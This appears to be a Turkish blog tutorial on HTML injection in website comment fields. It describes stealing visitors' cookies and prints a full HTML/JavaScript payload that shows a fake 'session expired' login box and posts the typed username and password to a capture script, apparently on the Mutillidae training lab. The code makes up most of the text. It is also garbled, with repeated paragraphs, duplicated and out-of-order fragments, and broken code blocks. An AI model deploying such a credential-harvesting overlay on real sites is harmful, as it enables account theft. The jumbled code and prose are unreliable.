Yorum Ekleme Alanına Html İnjection Saldırısı
Html Injection açıklığı, web sitelerinde kullanıcılara yorum içerisinde html kod parçaları girmelerini sağlayan input alanlarından kaynaklanır.Bu alanlar ne kadar masum olsa da saldırganlar için çok önemlidir. Bu alanlara saldırı yapısına göre çok farklı html kodları eklenerek üyelerin,ziyaretçilerin bilgileri temin edilebilinir.Bunların başında ziyaretçilerin,üyelerin cookie bilgileri çalınabilir.
Bu örneği görelim.
Yukarıdaki resimde cookie bilgilerini hacker kendi sayfasına yolluyor. Ama aşağıdaki örnekte bu sefer ziyaretçilerin karşısına sanki session bilgisi düşmüş-yenilenmiş gibi login ekranı çıkartılır ve username-password bilgisi istenir.
Aşağıda çıktısını görelim. Submit butonunun işlevine username ve password bilgilerini istenilen sunucuya gönderilirse üyenin bilgileri çalınmış olunur. Basit bir yorum alanından ziyeretçilerin üyelik bilgileri çalınabilinir.
if(lXMLHTTP.readyState == 4){
theForm.parentNode.style.display="none";
}// end if
};
Bu örneği görelim.
Yukarıdaki resimde cookie bilgilerini hacker kendi sayfasına yolluyor. Ama aşağıdaki örnekte bu sefer ziyaretçilerin karşısına sanki session bilgisi düşmüş-yenilenmiş gibi login ekranı çıkartılır ve username-password bilgisi istenir.
Aşağıda çıktısını görelim. Submit butonunun işlevine username ve password bilgilerini istenilen sunucuya gönderilirse üyenin bilgileri çalınmış olunur. Basit bir yorum alanından ziyeretçilerin üyelik bilgileri çalınabilinir.
Javascript-Html kodları aşağıdaki gibidir.
<div id="modal" style="position:fixed;top:0;left:0;width:100%;height:100%;background-color:black;opacity:.5;z-index:999998;"> </div>
<div style="margin:5% auto;width:100%;position:fixed;top:5%;left:5%;z-index:9999999;">
<div id="idlogin" style="width:405px;position:relative;margin:0 auto;background-color:white;padding:10px;border:1px solid black;">
<script>
function capture(theForm){
var lXMLHTTP;
try{
var lData = "username=" + theForm.username.value + "&password=" + theForm.password.value;
var lHost = "localhost";
var lProtocol = "http";
var lAction = lProtocol + "://" + lHost + "/mutillidae/capture-data.php";
var lMethod = "post";
try{
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e) {
try{
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
<div style="margin:5% auto;width:100%;position:fixed;top:5%;left:5%;z-index:9999999;">
<div id="idlogin" style="width:405px;position:relative;margin:0 auto;background-color:white;padding:10px;border:1px solid black;">
<script>
function capture(theForm){
var lXMLHTTP;
try{
var lData = "username=" + theForm.username.value + "&password=" + theForm.password.value;
var lHost = "localhost";
var lProtocol = "http";
var lAction = lProtocol + "://" + lHost + "/mutillidae/capture-data.php";
var lMethod = "post";
try{
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e) {
try{
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
};//end try
};//end try
};//end try
};//end try
};//end try
lXMLHTTP.onreadystatechange = function(){
if(lXMLHTTP.readyState == 4){
theForm.parentNode.style.display="none";
}// end if
};
lXMLHTTP.open(lMethod, lAction, true);
lXMLHTTP.setRequestHeader("Host", lHost);
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
lXMLHTTP.send(lData);
}catch(e){
lXMLHTTP.setRequestHeader("Host", lHost);
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
lXMLHTTP.send(lData);
}catch(e){
alert(e.message);
//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
};
};
};//end function
</script>
<form>
<table style="font-weight:bold;">
<tbody>
</script>
<form>
<table style="font-weight:bold;">
<tbody>
<tr>
<td colspan="2" style="font-size:20px;">Sorry! Your session has expired.<br><br>Please login again.
</td></tr>
<tr>
<tr>
<td colspan="2">
</td></tr>
<tr><td>Username</td><td><input name="username" type="text"></td></tr>
<tr><td>Password</td><td><input name="password" type="password"></td></tr>
<tr><td colspan="2" style="text-align:center;"><input type="button" onclick="javascript:capture(this.form);" value=" Submit ">
<tr><td>Username</td><td><input name="username" type="text"></td></tr>
<tr><td>Password</td><td><input name="password" type="password"></td></tr>
<tr><td colspan="2" style="text-align:center;"><input type="button" onclick="javascript:capture(this.form);" value=" Submit ">
</td></tr>
</tbody>
</tbody>
</table>
</form>
</div>
</form>
</div>
Yorumlar